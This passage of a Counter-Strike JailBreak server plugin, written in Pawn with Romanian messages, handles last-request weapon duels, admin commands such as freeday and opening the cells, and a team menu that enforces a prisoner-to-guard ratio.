                engfunc(EngFunc_RemoveEntity, crowbar_ent)

        g_BlockWeapons = 1
        g_PlayerLast = 0
        g_LastDenied = 1
        g_Duel = 3
        PlayDuel = true

        jail_open()

        set_cvar_string("jbe_shop", "0");
        set_cvar_string("jbe_blockweaponmenu", "0");

        return PLUGIN_HANDLED
}

public cmd_last_start(id, handle, seed)
{
        if(!is_user_alive(id) || !g_Duel)
                return FMRES_IGNORED

        if(g_Duel != 6) // m249
        {
                if(g_Duel == 4)
                        cs_set_user_bpammo(id, CSW_DEAGLE, 1)
                else if(g_Duel == 5)
                        cs_set_user_bpammo(id, CSW_HEGRENADE, 1)
                else if(g_Duel == 7)
                        cs_set_user_bpammo(id, CSW_AWP, 1)
                else if(g_Duel == 8)
                        cs_set_user_bpammo(id, CSW_SCOUT, 1)
        }

        return FMRES_IGNORED
}

public duel_arme(id, menu, item)
{
        if(g_isDay)
        {
                player_hudmessage(0, 8, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_CANT_LR")
                return PLUGIN_HANDLED
        }

        if(item == MENU_EXIT || g_PlayerLast != id)
        {
                menu_destroy(menu)
                g_LastDenied = 0
                g_Duel = 0
                return PLUGIN_HANDLED
        }

        PlayDuel = true
        new dst[32], data[5], access, callback, option[128], player, src[32]

        menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
        get_user_name(id, src, charsmax(src))

        player = str_to_num(data)

        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_lr.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)

        set_user_health(id, 100)
        set_user_maxspeed(id, 250.0)
        set_user_noclip(id, 0)
        set_user_godmode(id, 0)
        set_user_gravity(id,1.0)
        player_glow(id, g_Colors[3])

        set_user_health(player, 100)
        set_user_maxspeed(player, 250.0)
        set_user_noclip(player, 0)
        set_user_godmode(player, 0)
        set_user_gravity(player,1.0)
        player_glow(player, g_Colors[2])

        set_hudmessage(139, 101, 8, -1.0, 0.6, 0, 6.0, 1.0)

        switch(g_Duel)
        {
                case 4:
                {
                        formatex(option, charsmax(option), "%s a ales Duel de Deagle^nDuel: %s vs %s", src, src, dst)
                        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                        if(id > 0 && is_user_connected(id) && is_user_alive(id))
                        {
                                g_PlayerDuelT = id
                                strip_user_weapons(id)

                                new iEnt = give_item(id, "weapon_deagle")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                set_user_health(id, 100)
                                player_glow(id, g_Colors[3])
                        }

                        if(player > 0 && is_user_connected(player) && is_user_alive(player))
                        {
                                g_PlayerDuelCT = player
                                strip_user_weapons(player)

                                new iEnt = give_item(player, "weapon_deagle")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                set_user_health(player, 100)
                                player_glow(player, g_Colors[2])
                        }
                        g_Duel = 4
                }
                case 5:
                {
                        formatex(option, charsmax(option), "%s a ales Duel de Grenade^nDuel: %s vs %s", src, src, dst)
                        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                        if(id > 0 && is_user_connected(id) && is_user_alive(id))
                        {
                                g_PlayerDuelT = id
                                strip_user_weapons(id)

                                new iEnt = give_item(id, "weapon_hegrenade")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                player_glow(id, g_Colors[3])
                                set_user_health(id, 100)
                        }

                        if(player > 0 && is_user_connected(player) && is_user_alive(player))
                        {
                                g_PlayerDuelCT = player
                                strip_user_weapons(player)

                                new iEnt = give_item(player, "weapon_hegrenade")

                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                player_glow(player, g_Colors[2])

                                set_user_health(player, 100)
                        }
                        g_Duel = 5
                }
                case 6:
                {
                        formatex(option, charsmax(option), "%s a ales Duel de Rambo^nDuel: %s vs %s", src, src, dst)
                        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                        if(id > 0 && is_user_connected(id) && is_user_alive(id))
                        {
                                g_PlayerDuelT = id
                                strip_user_weapons(id)
                                //cs_set_user_bpammo(id, CSW_M249,0)

                                new iEnt = give_item(id, "weapon_m249")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 2000)

                                player_glow(id, g_Colors[3])

                                set_user_health(id, 2000)
                        }

                        if(player > 0 && is_user_connected(player) && is_user_alive(player))
                        {
                                g_PlayerDuelCT = player
                                strip_user_weapons(player)
                                //cs_set_user_bpammo(player, CSW_M249, 0)

                                new iEnt = give_item(player, "weapon_m249")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 2000)

                                player_glow(player, g_Colors[2])

                                set_user_health(player, 2000)
                        }
                        g_Duel = 6
                }
                case 7:
                {
                        formatex(option, charsmax(option), "%s a ales Duel de Awp^nDuel: %s vs %s", src, src, dst)
                        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                        if(id > 0 && is_user_connected(id) && is_user_alive(id))
                        {
                                g_PlayerDuelT = id
                                strip_user_weapons(id)

                                new iEnt = give_item(id, "weapon_awp")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                set_user_health(id, 100)
                                player_glow(id, g_Colors[3])
                        }
                       
                        if(player > 0 && is_user_connected(player) && is_user_alive(player))
                        {
                                g_PlayerDuelCT = player
                                strip_user_weapons(player)
                                new iEnt = give_item(player, "weapon_awp")

                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                set_user_health(player, 100)
                                player_glow(player, g_Colors[2])
                        }
                        g_Duel = 7
                }
                case 8:
                {
                        formatex(option, charsmax(option), "%s a ales Duel de Scout^nDuel: %s vs %s", src, src, dst)
                        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                        if(id > 0 && is_user_connected(id) && is_user_alive(id))
                        {
                                g_PlayerDuelT = id
                                strip_user_weapons(id)

                                new iEnt = give_item(id, "weapon_scout")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                set_user_health(id, 100)
                                player_glow(id, g_Colors[3])
                        }

                        if(player > 0 && is_user_connected(player) && is_user_alive(player))
                        {
                                g_PlayerDuelCT = player
                                strip_user_weapons(player)

                                new iEnt = give_item(player, "weapon_scout")
                                if (is_valid_ent(iEnt))
                                        cs_set_weapon_ammo(iEnt, 1)

                                set_user_health(player, 100)
                                player_glow(player, g_Colors[2])
                        }
                        g_Duel = 8
                }
                case 9:
                {
                        formatex(option, charsmax(option), "%s a ales Duel de Baghete^nDuel: %s vs %s", src, src, dst)
                        player_hudmessage(0, 6, 3.0, {139, 101, 8}, option)

                        if(id > 0 && is_user_connected(id) && is_user_alive(id))
                        {
                                g_PlayerDuelT = id
                                strip_user_weapons(id)

                                start_magic(id)

                                set_user_health(id, 500)
                                player_glow(id, g_Colors[3])
                        }

                        if(player > 0 && is_user_connected(player) && is_user_alive(player))
                        {
                                g_PlayerDuelCT = player
                                strip_user_weapons(player)

                                start_magic(player)

                                set_user_health(player, 500)
                                player_glow(player, g_Colors[2])
                        }
                        g_Duel = 9
                }
        }

        new crowbar_ent
        while((crowbar_ent=engfunc(EngFunc_FindEntityByString, crowbar_ent, "classname", gCrowbarClassname)) != 0)
                engfunc(EngFunc_RemoveEntity, crowbar_ent)

        g_BlockWeapons = 1
        g_PlayerLast = 0
        g_LastDenied = 1

        jail_open()

        set_cvar_string("jbe_shop", "0");
        set_cvar_string("jbe_blockweaponmenu", "0");

        return PLUGIN_HANDLED
}

public task_last_duel()
{
        if(g_RoundEnd || g_TeamAlive[CS_TEAM_CT] <= 0)
                return PLUGIN_HANDLED

        new TAlive

        for(new i = 0; i <= get_maxplayers(); i++)
        {
                if(!is_user_alive(i))
                        continue

                if(get_user_team(i) == 1)
                        TAlive++
        }

        if(TAlive == 1)
        {
                for(new i = 0; i <= get_maxplayers(); i++)
                {
                        if(!is_user_alive(i))
                                continue

                        if(get_user_team(i) == 1)
                        {
                                g_PlayerLast = i
                                cmd_lastrequest(i)
                                break;
                        }
                }
        }

        set_cvar_string("jbe_blockweaponmenu", "0");
        set_cvar_string("jbe_shop", "0");

        return PLUGIN_CONTINUE
}

public duel_end()
{
        new Duel[256]
        switch(g_Duel)
        {
                case 0: formatex(Duel, charsmax(Duel), "Box")
                case 1: formatex(Duel, charsmax(Duel), "Box")
                case 2: formatex(Duel, charsmax(Duel), "Box")
                case 3: formatex(Duel, charsmax(Duel), "Box")
                case 4: formatex(Duel, charsmax(Duel), "Deagle")
                case 5: formatex(Duel, charsmax(Duel), "Grenazi")
                case 6: formatex(Duel, charsmax(Duel), "M249")
                case 7: formatex(Duel, charsmax(Duel), "Awp")
                case 8: formatex(Duel, charsmax(Duel), "Scout")
                case 9: formatex(Duel, charsmax(Duel), "Magic")
        }

        if(g_PlayerDuelT == 1 && g_PlayerDuelCT >= 1)
        {
                new name[32]
                if(is_user_connected(g_PlayerDuelT) && is_user_alive(g_PlayerDuelT))
                {
                        get_user_name(g_PlayerDuelT, name, charsmax(name))

                        chatcolor(0, "!t[!gLastRequest!t]!y Prizonierul !t[!g%s!t] !ya castigat !tDuelul !yde !t[!g%s!t] !y.", name, Duel)
                        set_user_rendering(g_PlayerDuelT)
                }
                else if(is_user_connected(g_PlayerDuelCT) && is_user_alive(g_PlayerDuelCT))
                {
                        get_user_name(g_PlayerDuelT, name, charsmax(name))

                        chatcolor(0, "!t[!gLastRequest!t]!y Gardianul !t[!g%s!t] !ya castigat !tDuelul !yde !t[!g%s!t] !y.", name, Duel)
                        set_user_rendering(g_PlayerDuelCT)
                }
        }

        if(g_Duel >= 3)
        {
                player_strip_weapons(g_PlayerDuelCT)
                player_strip_weapons(g_PlayerDuelT)
        }

        client_cmd(0, "stopsound")
        set_cvar_string("jbe_shop", "0");
        task_last_duel()

        g_Duel = 0
        g_PlayerDuelT = 0
        g_PlayerDuelCT = 0
        g_LastDenied = 0
        g_PlayerLast = 0
        g_BlockWeapons = 0
}

GetPlayersNum(iTeam, iAlive)
{
        new iPlayersNum;

        for( new iPlayers = get_maxplayers( ); iPlayers > 0; iPlayers-- )
        {
                if( !is_user_connected( iPlayers ) )
                        continue;

                if( get_user_team( iPlayers ) == iTeam && ( is_user_alive( iPlayers ) == iAlive || iAlive == 2 ) )
                        iPlayersNum++;
        }

        return iPlayersNum;
}

stock remove_frozen()
{
        new szPlayers[32]
        new szNum, szPlayer

        get_players(szPlayers, szNum)
        for(new i; i < szNum; i++)
        {
                szPlayer = szPlayers[i]

                if(!is_user_alive(szPlayer) || !is_user_connected(szPlayer))
                        continue

                set_pev(szPlayer, pev_flags, pev(szPlayer, pev_flags) & ~FL_FROZEN)
        }
}
/*======================================================
              End Last Request ---> COMENZI ADMIN
======================================================*/
public adm_freeday(id)
{
        if(g_isDay)
        {
                chatcolor(id, "!g[JailBreak] !yNu poti da !gFreeDay !ypentru ca este in curs o !gZi Speciala !t.")
                return PLUGIN_HANDLED
        }

        if(g_PlayerLast)
        {
                chatcolor(id, "!g[JailBreak]  !yNu poti da !tZi Libera,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                return PLUGIN_HANDLED
        }

        new arg[32], cmd[32];
        read_argv(0,cmd,31);
        read_argv(1,arg,31);

        new player = cmd_target(id,arg,CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF);

        if(get_user_flags(id) & read_flags ("c"))
        {
                new name[32], name2[32];
                get_user_name(id,name,31);
                get_user_name(player,name2, 31);

                if(is_user_connected(player) && cs_get_user_team(player) == CS_TEAM_T)
                {
                        freeday_set(id, player)
                        chatcolor(0, "!y[!gAdminControl!y] !tAdmin-ul !y[!g%s!y] !ya dat zi libera lui !y[!g%s!y].", name, name2)
                        log_to_file("LogJailBreak.log","[ JBE_FREEDAY ] Admin-ul [ %s ] a dat zi libera lui [ %s ].", name, name2)
                        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_clopotel.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                }
        }
        else
        {
                chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
                return PLUGIN_CONTINUE
        }

        return PLUGIN_HANDLED
}

public adm_nomic(id)
{
        new arg[32], cmd[32];
        read_argv(0,cmd,31);
        read_argv(1,arg,31);

        new player = cmd_target(id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF);

        if(id == 0 || get_user_flags(id) & read_flags ("b"))
        {
                new name[32], name2[32];
                get_user_name(id,name,31);
                get_user_name(player,name2, 31);

                if(is_user_connected(player))
                {
                        cmd_nomic(player);
                        chatcolor(0, "!y[!gAdminControl!y] !tAdmin-ul !y[!g%s!y] !yl-a mutat la !gPrizonieri !ype !y[!g%s!y].", name, name2)
                        log_to_file("LogJailBreak.log","[JBE_NOMIC] Admin-ul [ %s ] l-a mutat la T pe [ %s ].", name, name2)
                }
        }
        else
        {
                chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
                return PLUGIN_CONTINUE
        }

        return PLUGIN_HANDLED;
}

public adm_open(id)
{
        if(get_user_flags(id) & ADMIN_ACCESS)
        {
                new nume[18]
                get_user_name(id, nume, 17)

                chatcolor(0, "!y[!gAdminControl!y] !tAdmin-ul !y[!g%s!y] !ya folosit !y[!gjbe_open!y].", nume)
                log_to_file("LogJailBreak.log","[JBE_OPEN] Admin-ul [ %s ] a deschis celulele prin JBE_OPEN ",nume)

                emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_open.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)

                jail_open()
        }
        else
        {
                chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
                return PLUGIN_CONTINUE
        }

        return PLUGIN_HANDLED
}

public adm_box(id)
{
        if(g_PlayerLast)
        {
                chatcolor(id, "!t[!gBox!t] !yNu poti activa !tBox,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                return PLUGIN_HANDLED
        }

        if(get_user_flags(id) & ADMIN_ACCESS)
        {
                new nume[16]
                get_user_name(id, nume, 15)

                chatcolor(0, "!y[!gAdminControl!y]!y Admin-ul !y[!g%s!y] !ya folosit !g[!yjbe_box!g].", nume)
                log_to_file("LogJailBreak.log","[ JBE_BOX ] Admin-ul [ %s ] a dat BOX prin JBE_BOX ", nume)

                cmd_box(id)
        }
        else
        {
                chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
                return PLUGIN_CONTINUE
        }

        return PLUGIN_HANDLED
}

public adm_boxoff(id)
{
        if(g_PlayerLast)
        {
                chatcolor(id, "!t[!gBox!t] !yNu poti dezactiva !tBox,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
                return PLUGIN_HANDLED
        }

        if(get_user_flags(id) & ADMIN_ACCESS)
        {
                new nume[16]
                get_user_name(id, nume, 15)
       
                chatcolor(0, "!y[!gAdminControl!y]!y Admin-ul !y[!g%s!y] !ya folosit !g[!yjbe_boxoff!g].", nume)
                log_to_file("LogJailBreak.log","[ JBE_BOX ] Admin-ul [ %s ] a dat BOX-OFF prin JBE_BOXOFF ", nume)

                cmd_boxoff(id)
        }
        else
        {
                chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
                return PLUGIN_CONTINUE
        }

        return PLUGIN_HANDLED
}

public FreeDayALL(id)
{
        g_Simon = 0

        chatcolor(0, "!g[Jb.Play-Arena.Ro] !gFreeDay ALL!y a fost dat !gAUTOMAT !ypentru aceasta!g Zi Speciala.");

        check_freeday(TASK_FREEDAY)
}
/*======================================================
              END COMENZI ADMIN ---> Team Menu
======================================================*/
public show_team_menu(id)
{
        if(inround < 30)
        {
                if(!user[id])
                {
                        if(cs_get_user_team(id) != CS_TEAM_SPECTATOR && cs_get_user_team(id) != CS_TEAM_T && cs_get_user_team(id) != CS_TEAM_CT)
                        {
                                cs_set_user_team(id, 3)
                                user_kill(id)
                        }

                        static menu, szText[ 555 char ];
                        menu = menu_create( "\wMeniu Echipe \yJb.Play-Arena.Ro:^n\rRatie: \d[\w3\d] \rPrizonieri \w- \d[\w1\d] \yGardian", "team_choice" );

                        formatex( szText, charsmax( szText ), "\rPrizonieri \y[\d%d\y]", g_TeamAlive[CS_TEAM_T] );
                        menu_additem( menu, szText, "1")

                        if(get_user_flags(id) & read_flags("x") || get_user_flags(id) & read_flags("a") || get_player_num(TEAM_CT, AL_BOTH) <= get_player_num(TEAM_T, AL_BOTH)/4
                                || g_TeamCount[CS_TEAM_CT] == 0 || g_TeamCount[CS_TEAM_T] > 5 && g_TeamCount[CS_TEAM_CT] == 1|| g_TeamCount[CS_TEAM_T] > 8 && g_TeamCount[CS_TEAM_CT] == 2 || g_TeamCount[CS_TEAM_T] > 11 && g_TeamCount[CS_TEAM_CT] == 3 || g_TeamCount[CS_TEAM_T] > 14 && g_TeamCount[CS_TEAM_CT] == 4 || g_TeamCount[CS_TEAM_T] > 17 && g_TeamCount[CS_TEAM_CT] == 5
                                || g_TeamCount[CS_TEAM_T] > 20 && g_TeamCount[CS_TEAM_CT] == 6)
                        {
                                formatex( szText, charsmax( szText ), "\yGardieni \r[\d%d\r]^n^n", g_TeamAlive[CS_TEAM_CT] );
                                menu_additem( menu, szText, "2")
                        }
                        else
                                menu_additem( menu, "Gardieni \r[Ocupat]^n^n","2", ADMIN_ADMIN);

                        menu_additem( menu, "\yVizitatori penitenciar", "3")

                        menu_display ( id , menu )
                }
                else
                        client_print(id, print_center, "[Play-Arena] Ti-ai schimbat odata echipa runda asta !!!")
        }
        else if(get_user_flags(id) & read_flags("a") || get_user_flags(id) & read_flags("x"))
        {
                if(!user[id])
                {
                        static menu, szText[ 555 char ];
                        menu = menu_create( "\wMeniu Echipe \yJb.Play-Arena.Ro:^n\rRatie: \d[\w3\d] \rPrizonieri \w- \d[\w1\d] \yGardian", "team_choice" );

                        formatex( szText, charsmax( szText ), "\rPrizonieri \y[\d%d\y]", g_TeamAlive[CS_TEAM_T] );
                        menu_additem( menu, szText, "1")

                        formatex( szText, charsmax( szText ), "\yGardieni \r[\d%d\r]^n^n", g_TeamAlive[CS_TEAM_CT] );
                        menu_additem( menu, szText, "2")

                        menu_additem( menu, "\yVizitatori \rPenitenciar", "3")

                        menu_display ( id , menu )
                }
        }
        else
        {
                if(cs_get_user_team(id) != CS_TEAM_SPECTATOR && cs_get_user_team(id) != CS_TEAM_T && cs_get_user_team(id) != CS_TEAM_CT)
                {
                        cs_set_user_team(id, 3)
                        user_kill(id)
                }
                else
                        client_print(id, print_center, "[Play-Arena] Nu poti intra in timpul rundei !!!")
        }

        return PLUGIN_HANDLED
}

public team_choice ( id , menu , item )
{
        static dst [ 32 ], data [ 5 ], access , callback
        static restore, vgui
        if( item == MENU_EXIT )
        {
                menu_destroy ( menu )
                return PLUGIN_HANDLED
        }

        restore = get_pdata_int(id, m_iVGUI)
        vgui = restore & (1<<0)
        if(vgui)
                set_pdata_int(id, m_iVGUI, restore & ~(1<<0))
        menu_item_getinfo ( menu , item , access , data , charsmax ( data ), dst , charsmax ( dst ), callback )
        menu_destroy ( menu )
       
        switch( data [ 0 ])
        {
                case('1'):
                {
                        if(inround < 30)
                        {
                                if(!user[id] && is_user_connected(id))
                                {
                                        if(cs_get_user_team(id) == CS_TEAM_T)
                                                show_team_menu ( id )
                                        else
                                        {
                                                new msgblock = get_msg_block(get_user_msgid ( "ShowMenu" ))
                                                set_msg_block(get_user_msgid ( "ShowMenu" ), BLOCK_ONCE)
                                                engclient_cmd(id, "jointeam", "1")
                                                engclient_cmd(id, "joinclass", "1")
                                                if(cs_get_user_team(id) != CS_TEAM_T)
                                                {
                                                        cs_set_user_team(id, 1)
                                                        user_kill(id)
                                                }
                                                set_msg_block(get_user_msgid ( "ShowMenu" ), msgblock)
                                                user[id] = true
                                                new name[32]
                                                get_user_name(id, name, 31)
                                        }
                                }
                                else
                                        client_print(id, print_center, "[Play-Arena] Nu poti intra in timpul rundei !!!")
                        }
                        else if(get_user_flags(id) & read_flags("x") || get_user_flags(id) & read_flags("a"))
                        {
                                if(cs_get_user_team(id) == CS_TEAM_T)
                                        show_team_menu ( id )
                                else
                                {
                                        new msgblock = get_msg_block(get_user_msgid ( "ShowMenu" ))
                                        set_msg_block(get_user_msgid ( "ShowMenu" ), BLOCK_ONCE)
                                        engclient_cmd(id, "jointeam", "1")
                                        engclient_cmd(id, "joinclass", "1")
                                        if(cs_get_user_team(id) != CS_TEAM_T)
                                        {
                                                cs_set_user_team(id, 1)
                                                user_kill(id)
                                        }
                                        set_msg_block(get_user_msgid ( "ShowMenu" ), msgblock)
                                        user[id] = true
                                        new name[32]
                                        get_user_name(id, name, 31)
                                }
                        }
                        else
                                client_print(id, print_center, "[Play-Arena] Nu poti intra in timpul rundei !!!")
                }
                case('2'):
                {
                        if(inround < 30)
                        {
                                if(!user[id] && is_user_connected(id))
                                {
                                        if(cs_get_user_team(id) == CS_TEAM_CT)
                                                show_team_menu ( id )
                                        else
                                        {
                                                if(get_user_flags(id) & read_flags("x") || get_user_flags(id) & read_flags("a") || get_player_num(TEAM_CT, AL_BOTH) <= get_player_num(TEAM_T, AL_BOTH)/4
                                                        || g_TeamCount[CS_TEAM_CT] == 0 || g_TeamCount[CS_TEAM_T] > 5 && g_TeamCount[CS_TEAM_CT] == 1|| g_TeamCount[CS_TEAM_T] > 8 && g_TeamCount[CS_TEAM_CT] == 2 || g_TeamCount[CS_TEAM_T] > 11 && g_TeamCount[CS_TEAM_CT] == 3 || g_TeamCount[CS_TEAM_T] > 14 && g_TeamCount[CS_TEAM_CT] == 4 || g_TeamCount[CS_TEAM_T] > 17 && g_TeamCount[CS_TEAM_CT] == 5
                                                        || g_TeamCount[CS_TEAM_T] > 20 && g_TeamCount[CS_TEAM_CT] == 6)
                                                {
                                                        new msgblock = get_msg_block(get_user_msgid ( "ShowMenu" ))
                                                        set_msg_block(get_user_msgid ( "ShowMenu" ), BLOCK_ONCE)
                                                        engclient_cmd(id, "jointeam", "2")
                                                        engclient_cmd(id, "joinclass", "1")
                                                        if(cs_get_user_team(id) != CS_TEAM_CT)
                                                        {
                                                                cs_set_user_team(id, 2)
                                                                user_kill(id)
                                                        }
                                                        set_msg_block(get_user_msgid ( "ShowMenu" ), msgblock)
                                                        user[id] = true
                                                        new name[32]
                                                        get_user_name(id, name, 31)
                                                }
                                                else
                                                {
                                                        show_team_menu ( id )
                                                        client_print(id, print_center, "[Play-Arena] Sunt prea multi Gardieni !!!")
                                                }
                                        }
                                }
                                else
                                        client_print(id, print_center, "[Play-Arena] Ti-ai schimbat odata echipa runda asta !!!")
                        }
                        else if(get_user_flags(id) & read_flags("x") || get_user_flags(id) & read_flags("a"))
                        {
                                new msgblock = get_msg_block(get_user_msgid ( "ShowMenu" ))
                                set_msg_block(get_user_msgid ( "ShowMenu" ), BLOCK_ONCE)
                                engclient_cmd(id, "jointeam", "2")
                                engclient_cmd(id, "joinclass", "1")
                                if(cs_get_user_team(id) != CS_TEAM_CT)
                                {
                                        cs_set_user_team(id, 2)
                                        user_kill(id)
                                }
                                set_msg_block(get_user_msgid ( "ShowMenu" ), msgblock)
                               
                                user[id] = true
                                new name[32]
                                get_user_name(id, name, 31)
                        }
                        else
                                client_print(id, print_center, "[Play-Arena] Nu poti intra in timpul rundei !!!")
                }
                case('3'):
                {
                        if(inround < 30)
                        {
                                if(!user[id] && is_user_connected(id))
                                {
                                        if(cs_get_user_team(id) == CS_TEAM_SPECTATOR)
                                                show_team_menu ( id )
                                        else
                                        {
                                                new msgblock = get_msg_block(get_user_msgid ( "ShowMenu" ))
                                                set_msg_block(get_user_msgid ( "ShowMenu" ), BLOCK_ONCE)
                                                engclient_cmd(id, "jointeam", "6")
                                                engclient_cmd(id, "joinclass", "1")
                                                set_msg_block(get_user_msgid ( "ShowMenu" ), msgblock)
                                                user[id] = true
                                                if(cs_get_user_team(id) != CS_TEAM_SPECTATOR)
                                                {
                                                        cs_set_user_team(id, 3)
                                                        user_kill(id)
                                                }
                                                new name[32]
                                                get_user_name(id, name, 31)
                                        }
                                }
                                else
                                        client_print(id, print_center, "[Play-Arena] Ti-ai schimbat odata echipa runda asta !!!")
                        }
                        else if(get_user_flags(id) & read_flags("x") || get_user_flags(id) & read_flags("a"))
                        {
                                if(!user[id] && is_user_connected(id))
                                {
                                        if(cs_get_user_team(id) == CS_TEAM_SPECTATOR)
                                                show_team_menu ( id )
                                        else
                                        {
                                                new msgblock = get_msg_block(get_user_msgid ( "ShowMenu" ))
                                                set_msg_block(get_user_msgid ( "ShowMenu" ), BLOCK_ONCE)
                                                engclient_cmd(id, "jointeam", "6")
                                                engclient_cmd(id, "joinclass", "1")
                                                set_msg_block(get_user_msgid ( "ShowMenu" ), msgblock)
                                                if(cs_get_user_team(id) != CS_TEAM_SPECTATOR)
                                                {
                                                        cs_set_user_team(id, 3)
                                                        user_kill(id)
                                                }
                                                user[id] = true
                                                new name[32]
                                                get_user_name(id, name, 31)
                                        }
                                }
                        }
                        else
                                client_print(id, print_center, "[Play-Arena] Nu poti intra in timpul rundei !!!")
                }
        }

        if(vgui)
                set_pdata_int(id, m_iVGUI, restore)

        return PLUGIN_HANDLED
}

stock get_player_num(team, alive)
{
        static player_num
        player_num = 0
       
        for(new i = 0; i < get_maxplayers(); i++)
        {
                if(!is_user_connected(i))
                        continue
                if(alive == AL_NOT)
                {
                        if(is_user_alive(i))
                                continue
                }else if(alive == AL_ALIVE) {
                        if(!is_user_alive(i))
                                continue       
                }else if(alive == AL_BOTH)
               
                if(team == TEAM_ALL)
                {
                        if(cs_get_user_team(i) == CS_TEAM_UNASSIGNED || cs_get_user_team(i) == CS_TEAM_SPECTATOR)
                                continue
                        } else if(team == TEAM_T) {
                        if(cs_get_user_team(i) != CS_TEAM_T)
                                continue
                        } else if(team == TEAM_CT) {
                        if(cs_get_user_team(i) != CS_TEAM_CT)
                                continue
                }
               
                player_num++
        }
       
        return player_num
}

public jointeam ( id )
        return PLUGIN_HANDLED


public CnT()
{
        inround++

        if(inround == 30)
                remove_task(TASK_SHOWTEAMMENU_TIMER)

        return PLUGIN_HANDLED
}

public message_ShowMenu ( iMsgid , iDest , id )
{
        static sMenuCode [ iMaxLen ];
        get_msg_arg_string ( 4 , sMenuCode , sizeof ( sMenuCode ) - 1 );
        if( equal ( sMenuCode , FIRST_JOIN_MSG ) || equal ( sMenuCode , FIRST_JOIN_MSG_SPEC ))
        {
                if ( get_pcvar_num ( gp_AutoJoin ) == 1 )
                        set_autojoin_task( id , iMsgid )
                else
                        show_team_menu ( id )

                return PLUGIN_HANDLED ;
        }

        return PLUGIN_CONTINUE ;
}

public message_VGUIMenu ( iMsgid , iDest , id )
{
        if( get_msg_arg_int ( 1 ) != VGUI_JOIN_TEAM_NUM )
                return PLUGIN_CONTINUE ;

        cs_set_user_team(id, 3)
        user_kill(id)
        show_team_menu ( id )

        return PLUGIN_HANDLED ;
}

public task_Autojoin ( iParam [], id )
{
        if(g_PlayerLast)
                return PLUGIN_HANDLED

        new iMsgBlock = get_msg_block ( iParam [ 0 ]);
        set_msg_block ( iParam [ 0 ], BLOCK_SET );

        engclient_cmd ( id , "jointeam" , "1" )
        engclient_cmd ( id , "joinclass" , "1" )

        set_msg_block ( iParam [ 0 ], iMsgBlock );

        return PLUGIN_HANDLED
}

stock set_autojoin_task ( id , iMsgid )
{
        if(g_PlayerLast)
                return PLUGIN_HANDLED

        new iParam [ 2 ];
        iParam [ 0 ] = iMsgid ;
        set_task ( 0.1 , "task_Autojoin" , id , iParam , sizeof ( iParam ));

        return PLUGIN_HANDLED
}

public team_count()
{
        static CsTeams:team, last
        g_TeamCount[CS_TEAM_UNASSIGNED] = 0
        g_TeamCount[CS_TEAM_T] = 0
        g_TeamCount[CS_TEAM_CT] = 0
        g_TeamCount[CS_TEAM_SPECTATOR] = 0
        g_TeamAlive[CS_TEAM_UNASSIGNED] = 0
        g_TeamAlive[CS_TEAM_T] = 0
        g_TeamAlive[CS_TEAM_CT] = 0
        g_TeamAlive[CS_TEAM_SPECTATOR] = 0

        for(new i = 1; i <= g_MaxClients; i++)
        {
                if(is_user_connected(i))
                {
                        team = cs_get_user_team(i)
                        g_TeamCount[team]++
                        g_PlayerTeam[i] = team

                        if(is_user_alive(i))
                        {
                                g_TeamAlive[team]++
                                if(team == CS_TEAM_T)
                                        last = i
                        }
                }
                else
                        g_PlayerTeam[i] = CS_TEAM_UNASSIGNED
        }

        if(g_TeamAlive[CS_TEAM_T] == 1)
        {
                if(last != g_PlayerLast)
                        prisoner_last(last)
        }
        else
        {
                if(g_Duel || g_PlayerDuelT || g_PlayerDuelCT)
                {
                        if(is_user_alive(g_PlayerDuelT))
                        {
                                set_user_rendering(g_PlayerDuelT, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)
                                player_strip_weapons(g_PlayerDuelT)
                        }

                        if(is_user_alive(g_PlayerDuelCT))
                        {
                                set_user_rendering(g_PlayerDuelCT, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)
                                player_strip_weapons(g_PlayerDuelCT)
                        }
                }

                g_PlayerLast = 0
                g_PlayerDuelT = 0
                g_PlayerDuelCT = 0
                g_Duel = 0
        }
}
/*======================================================
              END Team Menu
======================================================*/
public prisoner_last(id)
{
        static name[32], Float:roundmax

        if(is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_T)
        {
                roundmax = get_pcvar_float(gp_RoundMax)
                get_user_name(id, name, charsmax(name))

                g_PlayerLast = id
                //player_hudmessage(0, 6, 5.0, {0, 0, 255}, "%L", LANG_SERVER, "JBE_PRISONER_LAST", name)

